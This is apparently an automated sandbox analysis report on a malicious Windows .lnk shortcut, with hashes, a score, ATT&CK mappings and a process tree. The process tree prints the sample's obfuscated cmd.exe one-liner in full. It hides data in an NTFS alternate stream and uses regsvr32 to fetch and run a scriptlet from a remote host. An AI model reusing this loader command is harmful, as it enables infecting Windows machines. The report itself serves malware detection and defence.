a9a28a4d2554cb950ea716b3929a47d3f1577d633f0f04b7df62fe1c37f4c671

Analysis

user interaction
yes
max time kernel
150s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-es
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-eslocale:es-esos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 16:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5691378388.lnk
Size 1KB
Sample260818-tk5zgsdn3x
SHA256 a9a28a4d2554cb950ea716b3929a47d3f1577d633f0f04b7df62fe1c37f4c671
MD5 0a9a0e54c6937aa296999a18c004cab5
SHA1 403728ba9a5768aadf4cfc439b9ed9d528c3d122
SHA512 323a38a628cd7f557a18da338495f33f9c731af642f8ac4cafdc9683a42ed86686c8caa131042cc8eb28872e0f0ec46fa3507067f9921d5c96e1ec53adb84adb
TLSH
T1E031989B080E3671C9265170E125EA0FAB1D96FC9419ED0CA0643B81E51040F2FFC699
MD5 SHA1 SHA512 TLSH

Score

7^/10

execution

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
4736	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4904	cmd.exe
6104	cmd.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\fE65Z4.log:sIJZo	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 6104	4904	cmd.exe	90
PID 6104 wrote to memory of 4736	6104	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\5691378388.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /EuMWzR:rKF8Eqa /ESMI:SZHA /V:ON /D/C "(set _a=ty&set _b=pe&set _c=re&set _d=g&set _e=vr&set _f=3&set _g=st&set _h=ar&set _i=t&set _j=ht&set _k=tP&set _l=s)&(set _t=!_a!!_b!&set _r=!_c!!_d!&set _v=!_e!!_f!&set _s=!_g!!_h!!_i!&set _p=!_j!!_k!!_l!)&(!_t! *crObJ.* > C:\Users\Admin\AppData\Local\Temp\fE65Z4.log:sIJZo)&&(for %I in (!_r!) do (for %U in (!_v!) do (!_s! %IS%U2 /i:!_p!://grapinfer.cervejaxingu.cfd/?3/_x /u /s C:\Users\Admin\AppData\Local\Temp\\fE65Z4.log:sIJZo)))"
  2⤵
  - Executes a command shell one-liner
  - NTFS ADS
  - Suspicious use of WriteProcessMemory
  PID:6104
- - C:\Windows\System32\regsvr32.exe
    regSvr32 /i:httPs://grapinfer.cervejaxingu.cfd/?3/_x /u /s C:\Users\Admin\AppData\Local\Temp\\fE65Z4.log:sIJZo
    3⤵
    - Loads dropped DLL
    PID:4736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5691378388.lnk

Path C:\Users\Admin\AppData\Local\Temp\5691378388.lnk
Size 1KB
SHA256 e88a6562bc2f80b63a6bf2f4e13c8f6a6cc04da2c0950c18c0e3c184f0212dfd
MD5 10d46d52e087654055e45c75b45d7db9
SHA1 7cd672e081d55ba71feac5e6bf9d28b1dd0abc5a
SHA512 0bc24af94cc4f13685f3f4a8e7323127abaa797e5dd1171afb8aff3ee4538ed06deb5161d7a879b63a63fcfc29422add70bcd9841e7ead56f2aa6f19cc997824
TLSH
T1643127843BD50755F2BA4D3BCCBE57218A66B9C1AC72DA0D0951C29C6854703EF3AF16
MD5 SHA1 SHA512 TLSH

Submit Download

fE65Z4.log:sIJZo

Path C:\Users\Admin\AppData\Local\Temp\fE65Z4.log:sIJZo
Size 260KB
SHA256 4c1c1757ead32cfb0929d6ce40bfc4dd40c36e8842791e0aa4d988eb1110b777
MD5 da291aa94fbffe2b225e32617e5b8933
SHA1 c7f6888637dd4b571695c18e62bb0b37c633f970
SHA512 37107761b646ac23a6b06c027a36c9401940b599f6d0f61ec658740eea83644cec8d7aff44172d0bf2f0b14f9da17d612df63a2ebbcd6c7663caf45195fc8efa
SSDEEP 6144:1MkPBriYKzxcFtCE6nc2TxOKS1fCOBjjx926:1MUiYKRrJS1fCaPb
TLSH
T150443C1972E858D5EA76623C8553860AD7F27C211321D6DF039086BAAF3BFD57E38B10
MD5 SHA1 SHA512 SSDEEP TLSH